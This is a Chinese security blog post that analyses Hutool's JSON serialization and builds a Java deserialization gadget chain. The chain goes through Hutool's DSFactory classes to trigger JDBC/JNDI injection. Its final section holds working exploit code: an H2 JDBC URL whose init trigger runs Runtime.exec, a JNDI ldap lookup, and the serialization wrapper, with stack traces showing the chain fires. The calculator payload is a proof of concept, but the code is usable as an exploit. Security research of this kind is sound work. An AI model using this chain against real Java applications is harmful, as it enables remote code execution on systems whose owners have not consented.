hutool序列化分析及gadget浅析

0x01 简介

Hutool是一个功能丰富且易用的Java工具库,通过诸多实用工具类的使用,旨在帮助开发者快速、便捷地完成各类开发任务。 这些封装的工具涵盖了字符串、数字、集合、编码、日期、文件、IO、加密、数据库JDBC、JSON、HTTP客户端等一系列操作, 可以满足各种不同的开发需求。github地址 https://github.com/dromara/hutool

0x02 测试demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
package com.jsonser;

import cn.hutool.json.JSONObject;
import com.fasterxml.jackson.databind.ObjectMapper;
import com.utils.utils;

public class jacksonTest {
public static class Message {
int code;
String detail;
Object data;

public Message() {
}

public void setCode(int code) {
System.out.println("setCode");
this.code = code;
}

public void setDetail(String detail) {
System.out.println("setdetail");
this.detail = detail;
}

public void setData(Object data) {
System.out.println("setdata");
this.data = data;
}

public int getCode() {
System.out.println("getCode");
return this.code;
}

public String getDetail() {
System.out.println("getDetail");
return this.detail;
}

public Object getData() throws Exception{
System.out.println("getData");
// java.lang.Runtime.getRuntime().exec("open .");
System.out.println(this);
return this.data;
}

public Message(int code, String detail) {
this.code = code;
this.detail = detail;
}

public Message(int code, String detail, Object data) {
this.code = code;
this.detail = detail;
this.data = data;
}
}
public static void main(String[] args) throws Exception {

Message message = new Message();
utils.setFieldValue(message, "code", 1);
utils.setFieldValue(message, "detail", "hello world");
utils.setFieldValue(message, "data", "data");

ObjectMapper objectMapper = new ObjectMapper();
// String s = objectMapper.writeValueAsString(message);

JSONObject entries = new JSONObject();
entries.put("code", message);
// com.alibaba.fastjson.JSON.toJSONString(message);


// System.out.println("1");

}
}

这里编写一个demo(以前复制的,不知道是从枫还是木头大哥哪里复制的),来测试用hutool的时候,javabean的触发方式 。

image-20241125154655056

这里看到在使用hutool,json序列化的时候是能触发javabean的getter方法的。所以是不是也可以和jackson或者fastjson一样用来做gadget了?

0x03 序列化分析

这里在Message类中,随便找一个getter下断点,进行分析

image-20241125155050616

完整调用栈

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
getData:42, jacksonTest$Message (com.jsonser)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
invokeRaw:1085, ReflectUtil (cn.hutool.core.util)
invoke:1016, ReflectUtil (cn.hutool.core.util)
getValue:155, PropDesc (cn.hutool.core.bean)
lambda$copy$0:66, BeanToMapCopier (cn.hutool.core.bean.copier)
accept:-1, 1826699684 (cn.hutool.core.bean.copier.BeanToMapCopier$$Lambda$13)
forEach:676, LinkedHashMap (java.util)
copy:48, BeanToMapCopier (cn.hutool.core.bean.copier)
copy:16, BeanToMapCopier (cn.hutool.core.bean.copier)
copy:92, BeanCopier (cn.hutool.core.bean.copier)
beanToMap:737, BeanUtil (cn.hutool.core.bean)
mapFromBean:264, ObjectMapper (cn.hutool.json)
map:114, ObjectMapper (cn.hutool.json)
<init>:210, JSONObject (cn.hutool.json)
<init>:187, JSONObject (cn.hutool.json)
wrap:811, JSONUtil (cn.hutool.json)
set:393, JSONObject (cn.hutool.json)
set:352, JSONObject (cn.hutool.json)
put:340, JSONObject (cn.hutool.json)
main:70, jacksonTest (com.jsonser)

JsonArray类似,都是走JSONUtil.wrap。 那我们直接来看

cn.hutool.json.JSONUtil#wrap

image-20241125155419991

这里主要就是判断我们在JSONObject.put进来的对象的原始类型是不是这几个类型。

我们穿的对象,肯定是不符合上面的几个原始类型,直接看这一行就好。

image-20241125155728295

看到这里有个判断cn.hutool.core.util.ClassUtil#isJdkClass

image-20241125155818338

它会判断我们序列化的类是不是jdk的原始类。这里最强的就是clazz.getClassLoader(),我们知道jdk类是不在classload上下文中,这条判断相当于绝杀了。直接把jdbcrow,tempalte,LdapAttribute, SignedObject 等直接杀掉了。这些gadgegt尾巴相当于全部gg。

是jdk类就直接返回obj.tostrng。不是就实例化一个JSONObject对象

实例化会调用

cn.hutool.json.JSONObject#JSONObject(java.lang.Object, cn.hutool.json.JSONConfig, cn.hutool.core.lang.Filter<cn.hutool.core.lang.mutable.MutablePair<java.lang.String,java.lang.Object>>)

image-20241125161631577

cn.hutool.json.ObjectMapper#map(cn.hutool.json.JSONObject, cn.hutool.core.lang.Filter<cn.hutool.core.lang.mutable.MutablePair<java.lang.String,java.lang.Object>>)

image-20241125163650836

这里就是获取serializer,我们是希望做gadget的,这里肯定都不符合,直接看最后面就好

image-20241125163742722

image-20241125163824333

image-20241125163910646

image-20241125163924346

主要判断有没有getter方法,以及fied是不是public。 显然我们肯定是符合的。

就是就是触发bean到map的过程。

image-20241125164223418

主要就是这个copy方,它会调用下面这个方法。

cn.hutool.core.bean.copier.BeanToMapCopier#copy

image-20241125164544382

image-20241125164707597

它会获取我们传入类的fied,以及对应的getter,setter方法。

最最最最坑的地方到了

cn.hutool.core.bean.PropDesc#isReadable

image-20241125165018000

它会调用这个傻逼方法判断这个fied是不是public,有没有对应的getter方法,还判断了fied是不是TRANSIENT修饰,超级无语了,进不去就触发不了getter。

如果幸运走到里面,那么就来到触发点了

1
sDesc.getValue

image-20241125165249895

image-20241125165323841

无参数getter方法。

已上感觉,就是限制的太死了,暂时想不到能用hutool做gadget去触发getter。太难了,主要这傻逼是fied的前面加get,还有public,说实话很难利用。

0x04 测试demo

其实通过以上分析,不让发现触发点事new JSONObject,这样就可以绕调限制原生jdk的类了。

template

直接写一个template测试

image-20241125165924271

image-20241125170054145

来到 BeanUtil.getBeanDesc(actualEditable).getPropMap(this.copyOptions.ignoreCase)

可以看到获取template所有fied,但是这些fied是有没有对应的setter,getter方法image-20241125170223657

)

image-20241125170433728

然后最绝望的是都是private, 且没后propdesc描述,过不了判断。 根本无法用来组gadget。

LdapAttribute

image-20241125171325587

在来个列子

image-20241125171356632

可以看到,他获取到了是当前类和父类的fied,然后获取propdesc。 并没有获取到getAttributeSyntaxDefinition, 没有这个fied,真是够绝望。

cn.hutool.db.ds.DSFactory

目前最有希望的就是这个

image-20241125172920415

image-20241125172948428

可是这里获取不到getter方法,没有对应的propdesc描述,真的无语,

image-20241125173044585

不知道为什么获取不到,真的傻逼。因为没有对应的getter方法,以及dataSourceName是protected,导致过不了isReadable的判断。

无法走到sDesc.getValue(this.source)

image-20241125174618090

最后打计算器模拟走进去,是能正常触发的。以上,what can i say

总结,要想利用成功,需要触发getter调用的方法有对应的fied,fied不能TRANSIENT修饰,且有propdesc描述,采用调用的希望。

0x05 hutool gadget

cn.hutool.db.ds.DSFactory

image-20241125174859482

它会调用getDataSource,看他的实现类

cn.hutool.db.ds.AbstractDSFactory#getDataSource

image-20241125175021881

创建jdbc连接

他是一个抽象类,看一下实现

image-20241125175048477

这里有9个,其中6类需要系统有依赖才能使用,image-20241125175138760

应该构造函数会调用。

在只有hutool的情况下,我们可以使用这三个类进行处罚jdbc/jndi 攻击

1
2
3
4
DSFactory DSFactory;
DSFactory = new SimpleDSFactory(setting);
DSFactory = new PooledDSFactory(setting);
DSFactory = new JndiDSFactory(setting);

image-20241125175341607

他们都需要传一个seting进行构造

image-20241125175607923

我们只要配置jdbcurl就行。

image-20241125175648313

在使用JndiDSFactory要配置jndi。

最后构造就是如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20

String JDBC_URL = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER shell3 BEFORE SELECT ON\n" +
"INFORMATION_SCHEMA.TABLES AS $$//javascript\n" +
"java.lang.Runtime.getRuntime().exec('open -a Calculator')\n" +
"$$\n";
Setting setting = new Setting();
setting.setCharset(null);
setting.set("url", JDBC_URL);
setting.set("jndi", "ldap://127.0.0.1:80/Object");
DSFactory DSFactory;
DSFactory = new SimpleDSFactory(setting);
DSFactory = new PooledDSFactory(setting);
DSFactory = new JndiDSFactory(setting);


JSONArray array = new JSONArray();
array.add(DSFactory);

HashMap hashMap = utils.maskmapToString(array, array);
utils.unserialize(utils.serialize(hashMap));

JDBC_URL换任意jdbc都行,

image-20241125180131520

1
2
3
4
5
6
7
8
9
10
11
12
13
14
at cn.hutool.db.DbUtil.getJndiDs(DbUtil.java:167)
at cn.hutool.db.ds.jndi.JndiDSFactory.createDataSource(JndiDSFactory.java:41)
at cn.hutool.db.ds.AbstractDSFactory.createDataSource(AbstractDSFactory.java:122)
at cn.hutool.db.ds.AbstractDSFactory.getDataSource(AbstractDSFactory.java:82)
at cn.hutool.db.ds.DSFactory.getDataSource(DSFactory.java:62)
at com.alibaba.fastjson.serializer.ASMSerializer_1_JndiDSFactory.write(Unknown Source)
at com.alibaba.fastjson.serializer.ListSerializer.write(ListSerializer.java:137)
at com.alibaba.fastjson.serializer.JSONSerializer.write(JSONSerializer.java:275)
at com.alibaba.fastjson.JSON.toJSONString(JSON.java:863)
at com.alibaba.fastjson.JSON.toString(JSON.java:857)
at javax.swing.UIDefaults$TextAndMnemonicHashMap.get(UIDefaults.java:1250)
at java.util.AbstractMap.equals(AbstractMap.java:469)
at java.util.HashMap.putVal(HashMap.java:634)
at java.util.HashMap.readObject(HashMap.java:1397)

最后。下版本加入web-chains

tip

rome接不了这个gadgegt,rome获取不到DSFactory.class的property描述,也就无法触发getDataSource。

cb触发不了SimpleDesFactory链,因为cb是指定具体一个的properity,而getDataSource是创建出一个SimpleDataSource对象,创建过程没有触发getConnection,而jacoksn/fjson等序列化时,会多次触发properity的getter,setter触发getConnection(但是jackson的随机getter,不稳定)。

jackson下,SimpleDesFactory链不稳定触发

image-20241128131320071

image-20241128131404694

reference

http://www.bmth666.cn/2024/03/31/%E7%AC%AC%E4%BA%8C%E5%B1%8A-AliyunCTF-chain17%E5%A4%8D%E7%8E%B0/

https://xz.aliyun.com/t/14190

https://github.com/Java-Chains/web-chains


hutool序列化分析及gadget浅析
https://unam4.github.io/2024/11/25/hutool序列化分析及gadget浅析/
作者
unam4
发布于
2024年11月25日
许可协议